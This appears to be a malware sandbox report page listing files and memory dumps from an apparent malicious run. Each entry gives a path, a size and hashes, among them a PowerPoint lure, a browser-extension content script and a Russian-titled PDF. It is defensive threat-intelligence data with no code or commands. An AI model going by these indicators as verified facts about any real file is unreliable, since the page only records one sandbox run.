SHA256 2c575912318d208cacb64522c6f438ddffe23ceb1c9b8bc13b4fd4980ac5f585
MD5 e5e53fc048cdf6e25d9b80ce3d9fccdd
SHA1 5a8d0811bb29d7cf75363fb9d4bcfe16dbc3aafa
SHA512 cb86ec2e0581cefcf8e060267f1b6209d25b230f38ef4a5e6733710f62271a071d036403666d53a521bacdfc3ef11e7e953c092bb3e4f663423388aa928b1fb7
SSDEEP 384:ayf1rA8ayT4ESkdNxt/ZtNNCDP1+5hIFHARmuj:brA8ayTJxllNCDPQItjE
TLSH
T1C072B03CD9856531E7B20578A40E12F3CA1D50033652ED4731AABECF47AF7875B8E265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SubmitSync.ppt

Path C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343\documents\SubmitSync.ppt
Size 687KB
SHA256 a9948abecda35080a57ff5c80704a7f7aa3f7877c118e906cfca704bdf2c9a30
MD5 7fe946e144775de7ddeaff815fd493b4
SHA1 dfa078b6d234e982a323811ccab3b304444ff90f
SHA512 a45681d703c4ab2f34474aa692d18fa1d8d2e93854acccb2f1743d955f177d84df2ce1d4977fe26155015fb257d8d288930aa3696554493ee479fc5cbb1b0a27
SSDEEP 12288:cgiyvNWSfsdrGgfSTiGtm6oMBpFzIU4MQ9vJB7DZC483T5FIAzbstRyS:cnyrgkiGtm3MBp9IUoNb704QlKvtRyS
TLSH
T18CE4332FCA795024CE64C5D71CB25880F6A52D4FCBFDF141650E12357B9F0A68EB868B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cv_debug.log

Path C:\Users\Admin\AppData\Local\Temp\cv_debug.log
Size 706B
SHA256 29f2de4fc7e8b27cb6ac31ba14070af11656c887bba26b3dce088145cfa661dd
MD5 d5082f706943049a0e6023fb12b3f4af
SHA1 0b3a20ca7da3cd42d50d15824a9a37c218ac4605
SHA512 e8e4ebf141957d5c6a5547cbed67137ce0c537651601e8f6ec8965258321247240cb0d48a803c66403eea645f00bf7c5ec8252f38aeb24fa17c9b9bec845f08c
TLSH
T14E0147D57021A23F2B9347C8A0354C80A4A0F451433F478CED164038BE6CBA1A76E7C5
MD5 SHA1 SHA512 TLSH

Submit Download

eca07c73-8c82-4cc2-b79c-d2c8f4a241d5.tmp

Path C:\Users\Admin\AppData\Local\Temp\eca07c73-8c82-4cc2-b79c-d2c8f4a241d5.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

8336b82e-f830-44c5-8c5e-923f114f8c0b.tmp

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir2024_1753522733\8336b82e-f830-44c5-8c5e-923f114f8c0b.tmp
Size 147KB
SHA256 d766e75ceffe993aa1dadd5619b24043a0ebe9a9689a6796d19d88bf952683d4
MD5 a9f7675ff091bb15c88909424bab4a39
SHA1 90f753d8d7e4397de0f49631fcd9222a7f59148c
SHA512 ff1f89fb04ae9c9a4c6cf6b1475f5a77f1c4f90829acda95cb39889b6b15c3b4f0b3b822a668f8ec8520b002cc90dd397cc26d314ac8fd5f3e2c9826bd458df5
SSDEEP 3072:Ph3iICVe1DvTtr/3tOpPu8LdKBTJyU4AshzWnD7UVDvuZE4tkGL:PgTVWvTZPghwln0AD7UV8Eeky
TLSH
T12BE3E01D29E2846EC82B24F4BA4A718FC71ECF07910BE40F25D984A55C7474E17E2EED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir2024_516702002\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ФСИН_и_МО_Проверка.pdf

Path C:\Users\Admin\AppData\Local\Temp\ФСИН_и_МО_Проверка.pdf
Size 110KB
SHA256 875282182f39c053444cc8da105c9893dc3f6611266ba2d8d4bab94fef2d426d
MD5 6b3865186a266439ac97851e87050d47
SHA1 520d25190c546ac8bf6b8a5cd7c2be6cb745411e
SHA512 4636a7eda5bf76ad8b7f5af4bfbf2cbf0ae150cc85044061ab26abe3d0fffc105103315aee6e85d4922a020ebea1e0bcbb8829a3af7f0c7f02b868cbe843a7c5
SSDEEP 1536:V3FXn92YWSrFpwdXUoIz1upL08na8EOPWlDclfOmGkPYv5Oxlit4iDSjas7wD:lFXn9DWSrF+fIxzWfOmtxlit47jJ7wD
TLSH
T1F8B36C71F98F9CDCFC87C549C57E398E0A1DB11B66DE3985022A4E14F1026DABB862C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_1948411086\manifest.json
Size 43B
SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
MD5 af3a9104ca46f35bb5f6123d89c25966
SHA1 1ffb1b0aa9f44bdbc57bdf4b98d26d3be0207ee8
SHA512 6a7a543fa2d1ead3574b4897d2fc714bb218c60a04a70a7e92ecfd2ea59d67028f91b6a2094313f606560087336c619093f1d38d66a3c63a1d1d235ca03d36d1
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_1994059082\manifest.json
Size 135B
SHA256 ba5c9096d20a482aaa1aa9e5f98ad6127d3e97c2f21de84f7c78d9b8073c8e26
MD5 fbebd68ecaa98928909421f66909c054
SHA1 99d787d90f7ed2e5ad924f9c5668eb988b5a6c07
SHA512 749a3b2be47fe28399dc763888654a3e8d397e06e8d3c3af3965bb45846a1336e6ab4ca82c82c3df846b34a2afafa2156f2690e9bf347ab175408dc0171c61cc
TLSH
T158C04C668D51DEAB00A747A56B295315E23B4B4B5044800A7AF5429C1A288964171944
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_2145871167\manifest.json
Size 160B
SHA256 31952875f8bb2e71f49231c95349945ffc0c1dd975f06309a0d138f002cfd23d
MD5 c3911ceb35539db42e5654bdd60ac956
SHA1 71be0751e5fc583b119730dbceb2c723f2389f6c
SHA512 d8b2c7c5b7105a6f0c4bc9c79c05b1202bc8deb90e60a037fec59429c04fc688a745ee1a0d06a8311466b4d14e2921dfb4476104432178c01df1e99deb48b331
TLSH
T1F1C08C73CC08AE7911B14B371B214642E3B8030B600039093A32084C0BA47B00262328
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2024_694437506\manifest.json
Size 160B
SHA256 2a7fe18a087d8e8be847d9569420b6e8907917ff6ca0fa42be15d4e3653c8747
MD5 a24a1941bbb8d90784f5ef76712002f5
SHA1 5c2b6323c7ed8913b5d0d65a4d21062c96df24eb
SHA512 fd7dfec3d46b2af0bddb5aaeae79467507e0c29bab814007a39ea61231e76123659f18a453ed3feb25f16652a0c63c33545e2a0d419fafea89f563fca6a07ce2
TLSH
T133C04C23ED18BABA12F587D40971DB43F7F0031B34E169463B39948C5F761B8925175A
MD5 SHA1 SHA512 TLSH

Submit Download

memory/484-764-0x00007FF67EED0000-0x00007FF67F015000-memory.dmp

Download

memory/484-730-0x00007FF67EED0000-0x00007FF67F015000-memory.dmp

Download

memory/484-808-0x00007FF67EED0000-0x00007FF67F015000-memory.dmp

Download

memory/1052-535-0x00007FF714DE0000-0x00007FF715077000-memory.dmp

Download

memory/1052-718-0x00007FF714DE0000-0x00007FF715077000-memory.dmp

Download

memory/1128-6-0x00007FF609070000-0x00007FF6093B9000-memory.dmp

Download

memory/2772-11-0x000002108E150000-0x000002108E160000-memory.dmp

Download

memory/2772-10-0x000002108E150000-0x000002108E160000-memory.dmp

Download

memory/3328-8-0x000002A04BCA0000-0x000002A04BCB0000-memory.dmp

Download

memory/3328-9-0x000002A04BCA0000-0x000002A04BCB0000-memory.dmp

Download

memory/3328-14-0x000002A04BC30000-0x000002A04BC52000-memory.dmp

Download

memory/3928-687-0x000001919C5A0000-0x000001919C5B2000-memory.dmp

Download

memory/3928-686-0x000001919C5B0000-0x000001919C5BA000-memory.dmp

Download

memory/3928-688-0x000001919C590000-0x000001919C59A000-memory.dmp

Download

memory/3928-685-0x000001919C840000-0x000001919C8F3000-memory.dmp

Download

memory/3928-684-0x000001919C590000-0x000001919C5AC000-memory.dmp

Download